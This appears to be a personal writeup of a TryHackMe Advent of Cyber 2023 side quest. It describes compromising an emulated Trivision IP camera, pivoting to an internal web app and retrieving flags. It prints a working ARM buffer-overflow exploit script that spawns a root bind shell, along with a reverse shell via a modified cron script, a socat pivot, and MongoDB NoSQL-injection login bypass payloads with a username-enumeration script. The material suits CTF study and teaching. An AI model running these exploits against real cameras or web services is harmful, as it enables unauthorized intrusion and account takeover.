TryHackMe's Advent of Cyber 2023 - Side Quest 2 - Snowy ARMageddon - Writeup


Hello all ! Time for the writeup for the Side Quest 2 named Snowy ARMageddon. The difficulty was insane and so far I have noticed that a lot of people struggle to finish it (or even get to it). If you want to skip the QR code part and get to the challenge directly, click here.

Link to the challenge :

Link to the meta-article about the side quests :

Getting the QR code : buffer overflow

Now the day 6 was our way into this challenge. The target was a cool Christmas video game running in the browser. The goal was to introduce the concept of buffer overflows. The objective for us there was to trigger a glitch in the game somehow.

In order to trigger the glitch, you would need to (assuming you “finished” the game) :

  • Get a lot of money (I used the ~ character to fill the coins row and it worked)
  • Talk to the merchant and buy the item with id=a (you noticed that it was not displayed as an option)
  • A ghost pops in front of the house. Talk to it several times until it gives you clear instructions
    • Rename your cat (character) Snowball
    • Give the merchant the name Midas
    • Give the name switcher the name Ted (why is this fun ?)
    • Have 31337 coins and the token of the yeti in the inventory
    • Input the 30 lives secret code (

So in order to do all this, it is rather simple. We just need to apply the knowledge from the room. In the end, the stack is supposed to look like this :

Stack state glitch

In order to obtain that, you need to start from the bottom and change the name of Ted, then Midas. Then you need to put the right amount of money BUT you need to take into account the 8 coins you will need to change your name to Snowball. So you need to put qz\x00\x00 in the coins row. Then finally change your name to Snowball and bingo ! Honestly kudos to the creators of this, really fun AND great to learn for the ones that had never encountered buffer overflows before.

Now back to the actual challenge.

Statement (of the Side Quest)

So the challenge only had 2 flags to retrieve, without much information (the first flag and the content of yetikey2.txt). The room page informs us that the main objective is to get access to an internal-only web application, without the need to pwn the machine itself.

Scanning and reconnaissance

So first we launch a simple nmap TCP SYN scan on all the ports and we have the following output.

└─$ sudo nmap -sS -p1-65335  
[sudo] password for kali: 
Starting Nmap 7.94SVN ( ) at 2023-12-13 12:03 EST
Nmap scan report for
Host is up (0.038s latency).
Not shown: 65331 closed tcp ports (reset)
22/tcp    open  ssh
23/tcp    open  telnet
8080/tcp  open  http-proxy
50628/tcp open  unknown

So as we can see, 3 intrestring ports are open here.

  • The port 23 for telnet
  • The port 8080 which usually turns out to be a website
  • And the port 50628, not usual

If we connect to the port 23 via telnet, the connection is established but closes immediately. But at least we know the port is accessible. On the other hand, we have 2 websites exposed on port 8080 and 50628.

The first website is surely the internal-only web application on port 8080. We get a 403 Forbidden for all *.php and the root of the website like below. On the other hand the website for the port 50628 seems to be the web portal of an IP surveillance camera, this time not forbidden.

Websites indexes

Pwning the camera and first flag

So as we can see, for now the website on port 8080 is a dead end. It is probably only accessible from the internal network. So let us focus on the camera portal for now.

As we can see on the /en/login.asp endpoint, we are dealing with the NC-227WF HD 720P model from Trivision. Trying to get to the settings panel or anything else really (even a random endpoint that does not exist) triggers an HTTP Authentication pop up. We can see on the net that the default credentials are admin:admin but it does not function.

So the first thing we think about is googling this model of camera. Pretty quickly we notice that a lot of what we get is related to an emulation software called emux ( We will get to that later.

So ultimately after a LOT of research (like maybe 25 minutes of random googling, which is a lot), I finally found an exploit for this particular model of camera. I have no idea why it took so long to find it, and even as I am writing this I struggle to find the Google/DuckDuckGo query to find it again ! But it turns out someone published an exploit to get a bind shell via a telnet lisner on port 23 (what a coincidence). Here is the link to the exploit : You can find the “fixed” (not much, just some type casting) exploit below for you to use.

Make sure to use the script below and not the one in the link (some weird errors I fixed, nothing interesting).

from telnetlib import Telnet
import os, struct, sys, re, socket
import time


def pack32(value):
    return struct.pack("<I", value)  # little byte order

def pack16n(value):
    return struct.pack(">H", value)  # big/network byte order

def urlencode(buf):
    s = ""
    for b in buf:
        if re.match(r"[a-zA-Z0-9\/]", b) is None:
            s += "%%%02X" % ord(b)
            s += b
    return s


# function to create a libc gadget
# requires a global variable called libc_base
def libc(offset):
    return pack32(libc_base + offset)

# function to represent data on the stack
def data(data):
    return pack32(data)

# function to check for bad characters
# run this before sending out the payload
# e.g. detect_badchars(payload, "\x00\x0a\x0d/?")
def detect_badchars(string, badchars):
    for badchar in badchars:
        i = string.find(badchar)
        while i != -1:
            sys.stderr.write("[!] 0x%02x appears at position %d\n" % (ord(badchar), i))
            i = string.find(badchar, i+1)

##### MAIN #####

if len(sys.argv) != 3:
    print("Usage: <ip> <port>")

ip = sys.argv[1]
port = sys.argv[2]

libc_base = 0x40021000

buf = b"A" * 284

0x40060b58 <+32>:    ldr     r0, [sp, #4]
0x40060b5c <+36>:    pop     {r1, r2, r3, lr}
0x40060b60 <+40>:    bx      lr
ldr_r0_sp = pack32(0x40060b58)

# 0x00033a98: mov r0, sp; mov lr, pc; bx r3;
mov_r0 = pack32(libc_base + 0x00033a98)
system = pack32(0x4006079c)

buf += ldr_r0_sp

buf += b"BBBB"
buf += b"CCCC"
buf += system
buf += mov_r0
buf += b"telnetd${IFS}-l/bin/sh;#"

buf += b"C" * (400-len(buf))

lang = buf

request = b"GET /form/liveRedirect?lang=%s HTTP/1.0\n" % lang + \
    b"Host: BBBBBBBBBBBB\nUser-Agent: ARM/exploitlab\n\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))

tn = Telnet(ip, 23)

I honestly think that a lot of people that struggled with this challenge did not find this exploit, as it was surprisingly hard to find.

Breaking down the BOF exploit

This is not registered as a CVE from what I can tell. This exploit is leveraging a buffer overflow vulnerability in the handling of a GET Request sent to the /form/liveRedirect endpoint. The vulnerability affects more specifically the ?lang argument. This exploit is not very well documented (or I did not find anything) but we can break it down a little bit. The camera is running on an ARM32 CPU by the way.

Just a heads up, I will not explain in details how buffer overflows, ROPs and return-to-libc attacks function (that would be way too long). But I encourage you to take a look at some documentation (there is a free room on TryHackMe here, I have not done it but so far the platform has never disappointed me so go ahead, it’s free !).

First, we can notice that we have in the script variables like libc_base or system directly in the code. That means that the camera does not have ASLR on.

To begin with, in ARM32, the convention is to store arguments for function calls in registers r0, r1, r2 and r3 (then in the stack). Here, we will call the function system("telnetd${IFS}-l/bin/sh;#") which is basically a bind shell listening on port 23. Thus, when the system function is called, we will need to have the r0 register storing the address of the argument.

The ${IFS} here is used as a space character (in bash). (I honestly do not know why it was necessary, \x20 is not a forbidden character usually in buffer overflows). It probably has to do with something in the firmware I am not aware of.

The stack right after the buffer overflow and before any execution of the exploit will look like this (the actual content of the gadgets are in the exploit above) :

@ldr_r0_sp <— sp
“telnetd${IFS}-l/bin/sh;#" (multiple rows)

From that, we can see that the exploit is basically doing this :

  • ldr_r0_sp. This is the first gadget executed. The interesting part of it is loading the address of the system function in r3. It will then jump into the mov_r0 gadget. (I think the first instruction of this gadget is useless by the way). At the end of this, sp points at the telnetd string in the stack.
  • mov_r0. This gadget will set r0 to sp which is conveniently the address of our argument (telnetd …) for the system function. It then jumps to the system function (via the r3 register).
  • system is called with the bind shell payload in argument, et voilà !

So this exploit was surprisingly “simple” to analyze (all things considered of course, as it appears to only be around 3/4 years old ! It looks like an “easy” CTF challenge exploit… Kinda worrying not gonna lie.).

When we execute the exploit, we get a wonderful shell every time we connect via telnet to port 23 of the machine !

Exploit Buffer Overflow Camera

Camera’s web portal and first flag

So now we have a (root) shell in the IP Camera. Our shell is a very stripped down busybox but we will have to make do. Using the mount command, we can see that we are indeed in an emux emulated camera, since we have an NFS mount from in /emux (that is in theory, in practice no /emux directory for now).

So searching for the first flag was like looking for a needle in a haystack. We notice in /home/web that we have the sources for the web portal of the camera. A lot of things to look at here, but no credentials. After a bit of researching, we can find the file /etc/webs/umconfig.txt that contains some configuration for the web portal, including credentials ! We can find the following entry in the file :


So if we try to connect with the credentials admin:Y**************n (password is weird but make sure to use all of it) on the web portal, we are in ! And there there was a mystery… As I am writing this I am redoing the challenge in a Kali VW, and when I connect to the web portal with the credentials, I get this :

Flag 1 obtain

So yeah, we directly end up on the flag endpoint ! We have to open the /en/player/mjpeg_vga.asp endpoint to get it ! (This was during the event, now the flag in directly in the image, so you just need to fetch whichever endpoint that points to it or just download the image from the camera directly).

BUT back when I solved the challenge, well I did not get this. Actually I had to manually test all the endpoints since the flag was hard coded in the HTML. (luckily I started by the /en/player/ directory since I thought we would get a security footage or something). So the challenge changed in between and it is less “guessy” (but that explains why some people found flag 2 and not flag 1 during the event !).

Anyway that is flag1 !

Exploring the Camera

So now that we have an access to the internal network, we can try and find something to do with that. The first idea that comes to mind is to try and fetch the internal web application. And bingo, it seems that if we wget the page on port 8080 from the camera, we get a 401 Unauthorized !

Wait, what ? Well, that is different from the 403 Forbidden, but that is not cool ! But when we think about it, 401 usually comes up when an HTTP Authentication fails. So lets try to connect with the same credentials from the camera web portal. So let’s run this in the camera’s shell (replace password with actual password in URL).

$ wget 'http://admin:Y****************n@' | cat index.html
Connecting to (
wget: can't open 'index.html': File exists

<!DOCTYPE html>
<html lang="en" class="h-full bg-thm-900">

  <meta charset="UTF-8" />
  <link rel="icon" type="image/png" href="" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  <link rel="stylesheet" href="styles.css" />

Yay ! We get something ! But when we look at it, it seems that it is a login page that asks for a username and password, and the credentials we have do not function this time. Well let’s try to find new ones !

But first, time to get a proxy because we wont be able to do much from the terminal of the camera (or it would be very messy).

Getting the socat executable from the emux rootfs (UNINTENDED)

The following section about getting inside the emux Docker container was unintended and wont function anymore ! Click here to see the intended way to access the socat executable.

During my research for this, I ended up finding a way to get a more decent shell in the camera with more files to look at ! Indeed, I mounted the /dev/sda device and it turned out to be the emux docker container rootfs (emux basically launches a docker container. This docker container then launches qemu to emulate a device, .i.e a camera). So with this :

mkdir /tmp/mount; mount /dev/sda /tmp/mount

We have access to the rootfs of the emux docker container.

In the docker rootfs, nothing interesting but I did find a way to get a shell inside the container. Indeed, there is a cronjob in /tmp/mount/etc/cronjobs/root with the following content :

$ cat crontabs/root 
* * * * * /root/ >/dev/null 2>&1
* * * * * sleep 10; /root/ >/dev/null 2>&1
* * * * * sleep 20; /root/ >/dev/null 2>&1
* * * * * sleep 30; /root/ >/dev/null 2>&1
* * * * * sleep 40; /root/ >/dev/null 2>&1
* * * * * sleep 50; /root/ >/dev/null 2>&1

The script was there to reload the web portal in case it went down. So I modified it in order to get a reverse shell (I could see in /tmp/mount/bin that nc was available). So I did this : (yes I like making GIFs)

Shell in docker container

So now we have access to almost too many commands, including socat. How nice of you emux.

Getting the socat executable from a static binary (INTENDED)

Intended way to get the socat executable on the machine for the proxy. Thanks to the creator of the challenge for the tip !

So ultimately, now that we have access to the camera and the internal network, we want to be able to use a proxy to access the internal web-application from the outside as if we were inside the internal network. For this, the best tool to use is socat which is basically an enhanced netcat with more features.

The creator of emux has in his github profile a list of static executables for ARM32 based devices (ARMel usually run on most platforms). Amongst the executables, we have socat, accessible at

So what we need to do is upload this file to the camera, and use it. In order to do that we can setup a simple python http server on our machine with :

$ python3 -m http.server 5555

If we execute this command in a directory where we have our socat file, we can then download it from the camera with wget http://YOUR-MACHINE-VPN-IP:5555/socat. We can then execute it and have our proxy setup like explained in the next part.

Getting socat via static binary

Proxy and rabbit holes

So now that we have socat available, we can actually get ourselves a nice proxy. So as far as I can tell the only ports we have exposed from the camera to the outside are 50628 and 23. So i used the 50628 port on the camera to forward to port 8080 of the target (it is the same machine but qemu docker and all…).

So we first need to free the port 50628. The process webs is the one using the port (the camera portal), fetch the PID with ps w | grep webs and kill the process with kill <PID> in order to free the port 50628, then the following command will forward port 50628 to port 8080 so we can access it as if we were in the network from the outside (make sure to use it fast after killing webs since it restarts after some time) :

socat tcp-listen:50628,fork,reuseaddr tcp:<target-machine-IP>:8080

We get the following page if we connect to target-machine-IP:50628/index.php (we are asked for the HTTP Authentication, use the credentials we had before) :

Login.php after proxy

And now let me introduce you to the ✨rabbit holes fiesta✨. So yeah I ended up finding this endpoint and then nothing. For the "fun", things I tried that ended up nowhere :

  • Fuzzing of the website (going back to it later)
  • SQL injections (manually/sqlmap)
  • Mounting the NFS mount and reading ALL the logs of the emux directory (it’s long). Finding a root password hash, not cracking it after a LONG time (thanks bcrypt).
  • Trying to figure out if the ssh keys in /root were useful (one of them we actually have the private key (armx@armx) in the emux repository, but useless).
  • Password brute-force with admin login and krafty (login of the ssh key in /root) with Hydra
  • Enumerating ports of the machine from the internal network, trying to connect to everything
  • Trying to use every docker escape method I could think of
  • Wonder what the heck the Yeti's hint meant (by the way, still have not figured this out, please enlighten me). I even tried to fool the system by deleting the “security” footage to be like stealthy and have access to the Cyber Police portal 🤣.
  • Just looking at the terminal wondering What am I doing with my life ? 😿

Ultimately, I did find the solution, but yeah just wanted to say I struggled too ☃️.

Fuzzing and injections for the win

So that was me during the challenge to sum it up :

Meme fuzz

So yeah, basically when I first fuzzed the website (not recursively), I got this (replace password in URL) :

$ ffuf -u 'http://admin:Y****************n@' -w /usr/share/seclists/Discovery/Web-Content/common.txt
.hta                    [Status: 403, Size: 933, Words: 204, Lines: 34, Duration: 3739ms]
.htpasswd               [Status: 403, Size: 933, Words: 204, Lines: 34, Duration: 4686ms]
.htaccess               [Status: 403, Size: 933, Words: 204, Lines: 34, Duration: 4686ms]
demo                    [Status: 200, Size: 41, Words: 3, Lines: 2, Duration: 117ms]
index.php               [Status: 302, Size: 4677, Words: 1187, Lines: 99, Duration: 200ms]
server-status           [Status: 403, Size: 933, Words: 204, Lines: 34, Duration: 50ms]
vendor                  [Status: 301, Size: 324, Words: 20, Lines: 10, Duration: 44ms]

As you can see, we have a /vendor/ directory that I totally ignored until I got desperate enough hours (ok days) later. But if we fuzz again, we find a /vendor/composer/ directory.

Now, composer is a dependency manager for PHP. So it should tell us what tech stack lies behind the website. I could not find composer.json like in composer’s github repository, but with the google dork inurl:/vendor/composer the first interesting link ( tells us that the file /vendor/composer/installed.json could be there, and it is !

So now in this file, we can see the following entry :

    "name": "mongodb/mongodb",
    "version": "1.17.0",
    "version_normalized": "",
    "source": {
        "type": "git",
        "url": "",
        "reference": "9d9c917cf7ff275ed6bd63c596efeb6e49fd0e53"

Now this is what we like to see. So I immediately reached out to my notes about previous challenges on noSQLi and the first payload I try to login with functions (hello endorphin, nice to meet you) !

By the way you could also find /vendor/mongodb/ accessible if you used the right list (but weirdly enough I cannot find this word in the most common word lists in Seclist…)

Don’t know who I need, but who I don’t need

So, noSQLi are not as common but (IMO) are easier then SQLi. So the following payload :


Will get us logged in as Frostbite like this :

Frosbite login

So basically, we logged in the first user in the database whose username and password are not NoWayThisLoginExists:1. We still have nothing there (like nothing nothing, and fuzzing gives us nothing as well). We saw earlier in the statement of the challenge that the flag is in the internal web application, so I figured I needed to continue on this and try to log in as someone else. By the way learn more here :

So with the following payload :


I get logged in as Snowballer ! (still nothing though). So basically I ask the website to log in as a user whose username is not in the array ['Frostbite'] (so here only one username). The [$nin] means Not In and we specify an array of values to discard basically (here index 0 with Frostbite, another would be username[$nin][1]=abcd).

So in order to list all the usernames we can have, I used the following python script that will try to enumerate all possible usernames. It will then count the number of characters in each html page (I guessed that if one has more information, it will be a more interesting one to check manually).

If you use the script below, dont forget to add the actual IP address of the target and change the Basic Authorization Header to the real one (you can find it in the HTTP request after the HTTP authentication) !


import requests
import re

url = ''
error_message = 'Invalid username or password'
all_login_found = False

#list of exhausted usernames and base payloads
usernames = ['Frostbite']
pass_payload = 'password[$ne]=1'
username_format_payload = 'username[$nin][{i}]={username}'
payload = username_format_payload.format(i="0",username="Frostbite") + pass_payload

#headers, including the Basic Auth for HTTP authentication (admin:Y****************n). replace with actual Authorization header (here redacted).
headers = {'content-type': 'application/x-www-form-urlencoded',
           'Authorization': 'Basic Y****************************4='}

# First request to get a valid PHPSESSID
cookie_req = requests.get(url+'login.php', headers=headers)
cookies = cookie_req.cookies.get_dict()
print("PHPSESSID is : " + cookies['PHPSESSID'])
cookie_req = requests.get(url+'login.php', headers=headers,cookies=cookies)

#payload in which we'll add the new username each loop
usernames_payload = ""

while not all_login_found:

        #contruct the payload
        usernames_payload = usernames_payload + '&' +  username_format_payload.format(i=str(len(usernames)-1),username=usernames[-1])
        payload = usernames_payload + '&' + pass_payload

        #Send the login POST request
        r ='login.php', headers=headers,cookies=cookies, data=payload)
        res = r.text

        # check if we get an error message
        if, res) != None:
                all_login_found = True

        # Fetch username we are logged as and add it to the list
        new_username ='Welcome (\w+)!',res).group(1)
        print('[*] New username : ' + new_username + " --- Size of response : " + str(len(res)))

        #logout of the account, otherwise we cannot logging again

#print the final payload for the fun, and the list of usernames
print('\n[*] Finished ! List of usernames found :')
print('Final payload is (this wont log you in as anybody, just for fun purposes) : ' + payload)

The output of the script is :

PHPSESSID is : 4673dce106d3e036a09b0677fa61550f
[*] New username : Snowballer --- Size of response : 3514
[*] New username : Slushinski --- Size of response : 3513
[*] New username : Blizzardson --- Size of response : 3512
[*] New username : Tinseltooth --- Size of response : 3513
[*] New username : Snowbacca --- Size of response : 3512
[*] New username : Grinchowski --- Size of response : 3511
[*] New username : Scroogestein --- Size of response : 3512
[*] New username : Sleighburn --- Size of response : 3513
[*] New username : Northpolinsky --- Size of response : 3513
[*] New username : Frostington --- Size of response : 3511
[*] New username : Tinselova --- Size of response : 3510
[*] New username : Frostova --- Size of response : 3509
[*] New username : Iciclevich --- Size of response : 3510
[*] New username : Frostopoulos --- Size of response : 3512
[*] New username : Grinchenko --- Size of response : 3510
[*] New username : Snownandez --- Size of response : 3513
[*] New username : Frosteau --- Size of response : 13899

[*] Finished ! List of usernames found :
['Frostbite', 'Snowballer', 'Slushinski', 'Blizzardson', 'Tinseltooth', 'Snowbacca', 'Grinchowski', 'Scroogestein', 'Sleighburn', 'Northpolinsky', 'Frostington', 'Tinselova', 'Frostova', 'Iciclevich', 'Frostopoulos', 'Grinchenko', 'Snownandez', 'Frosteau']
Final payload is (this wont log you in as anybody, just for fun purposes) : &username[$nin][0]=Frostbite&username[$nin][1]=Snowballer&username[$nin][2]=Slushinski&username[$nin][3]=Blizzardson&username[$nin][4]=Tinseltooth&username[$nin][5]=Snowbacca&username[$nin][6]=Grinchowski&username[$nin][7]=Scroogestein&username[$nin][8]=Sleighburn&username[$nin][9]=Northpolinsky&username[$nin][10]=Frostington&username[$nin][11]=Tinselova&username[$nin][12]=Frostova&username[$nin][13]=Iciclevich&username[$nin][14]=Frostopoulos&username[$nin][15]=Grinchenko&username[$nin][16]=Snownandez&username[$nin][17]=Frosteau&password[$ne]=1

As we can see, the last username Frosteau is the one with a significant size difference in the response. Since it is the last one we logged in with, we can juste use the last payload we have above (the really long one) and get rid of the last part username[$nin][17]=Frosteau and we should be logged in as Frosteau.

But better to just use the more elegant username[$eq]=Frosteau&password[$ne]=1 to log in as Frosteau !

And indeed, we have the following page :

Frosteau Login

And so we get flag2 and we are all happy (maybe not Santa tho).


So in conclusion, that challenge did not actually require hardcore hacking skills (like writing your own exploit for anything). But there were a lot of steps and the key skills were observation and recon I guess.

If you were good enough to find the information you needed to find, then the exploits of the vulnerabilities were pretty straight forward. So a hard challenge in its own way I guess (got stuck for a while as I said !).